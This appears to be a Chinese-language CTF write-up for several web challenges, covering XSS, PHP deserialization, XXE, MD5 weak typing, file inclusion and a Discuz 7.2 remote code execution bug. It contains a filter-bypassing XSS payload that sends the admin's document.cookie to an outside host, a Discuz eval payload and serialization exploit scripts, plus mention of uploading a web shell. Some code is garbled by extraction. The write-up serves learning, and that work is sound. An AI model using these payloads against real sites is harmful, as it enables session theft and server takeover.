ezxss
知识点:xss
writeup:
双写绕过过滤,获取管理员cookie,payload如下:
1 2 3
| <img src="123" onerronerroror="windwindow.openow.open('http://xxx.xxx.xxx.xxx?
cookie='+docudocument.cookiement.cookie)">
|
管理员登录查看留⾔触发xss
ezunserialize
知识点:php反序列化
writeup:get传参five得到源码,构造level=1的⽤户得到序列化的payload,提交后添加⽤户
成功,⽤level=1的⽤户登录,得到flag
exp.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <?php
error_reporting(0);
class importuser
{
var $username, $password, $level;
function __wakeup()
{
$this->importusers();
}
public function importusers()
{
$raw_success = array('code' => 0, 'msg' => '导入成功');
$raw_fail = array('code' => 1, 'msg' => '导入失败');
$this->conn = mysqlconn();
$sql = 'insert into user (name, password, level) values ("' . $thi
username . '", "' . $this->password . '", ' . $this->level . ')';
$res = $this->conn->query($sql);
if ($res === TRUE) {
echo json_encode($raw_success);
} else {
echo json_encode($raw_fail);
}
}
}
if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
echo json_encode(array('code' => 1, 'msg' => '导入失败'));
}
$o = new importuser;
$o->username = 'qwer';
$o->password = 'qwer';
$o->level = 1;
$res = serialize($o);
echo $res;
|
Simple_api
知识点:XXE
writeup:
⼀个基本的 XXE 漏洞 读取⼀下 /flag 得到flag
Discuz!
知识点:Discuz CMS 漏洞利⽤
writeup:
⼀个 Discuz 7.2 版本的论坛 ,这个版本漏洞⽐较多,这⾥就说其中⼀种解法
利⽤Discuz 7.x/6.x 全局变量防御绕过漏洞命令执⾏,直接读取 /flag 得到flag
漏洞详情:https://www.anquanke.com/post/id/82316
payload:
1 2
| GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE] [smilies][replacearray]=eval($_POST[c]);
|
我的做法是利用网上写好的脚本,上传shell到服务器,后面通过shell脚本和uc_key,利用菜刀拿下服务器。
EZ_MD5
知识点:MD5函数漏洞
writeup:
MD5弱类型,恒等于(===)情况下通过传⼊数组类型的lot1和lot2得到flag
welcome
知识点:php反序列化
writeup:
在 robots.txt 中发现源码⽂件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php
error_reporting(0);
class Test{
public $fileanme;
public function __call($param1,$param2){
$this->readfile();
}
public function readfile(){
echo file_get_contents($this->fileanme);
}
}
class User{
public $user;
public function __wakeup(){
if (get_class($this->user) == "User"){
$this->user = new Welcome();
}
$this->user->say_hello();
}
}
class Welcome{
public function say_hello(){
echo "welcome";
}
}
$user = serialize(new User());
$string = $_GET['foo']?:$user;
unserialize($string);
|
构造User->user为test类对象,则可以通过反序列化User类对象执⾏__wakeup()函数 来调⽤sayhello函数
⽽Test类没有sayhello()函数,所以会执⾏__call()
进⽽会执⾏Test类的read()函数来读取⽂件内容,使fifilename等于flag.php,则可以读取
到flag.php⽂件的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
class Test{
public $fileanme = "flag.php";
}
class User{
public $user;11 }
$a = new user();
$a->user = new Test();
echo serialize($a);
|
ezphp
知识点:⽂件包含,php伪协议
writeup:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
function is_save($file){
if(preg_match('/^flag.php$/', $file)){
return false;
}
return true;
}
@extract($_GET);
if(isset($file)&&!empty($file)){
if(is_save($file)){
include($file);
}else{
echo "Stupid Hacker!";
}
}else{
highlight_file(__FILE__);
}
?>
|
is_save()函数限制了flag.php的直接读取,有include()函数,很明显是个简单的⽂件包
含,使⽤伪协议读取,base64解码得到flag
payload:
1 2 3
| http://10.203.87.22:8004/?file=php://filter/read=convert.base64-
encode/resource=flag.php
|
最后
这次比赛主要还是对一年学习的检查,基本都刷题见到过,做不出来还是自己平时学习过程中存在漏洞导致。PHP代码审计的能力还是太弱,写脚本也不大行,国庆完再慢慢补把。。。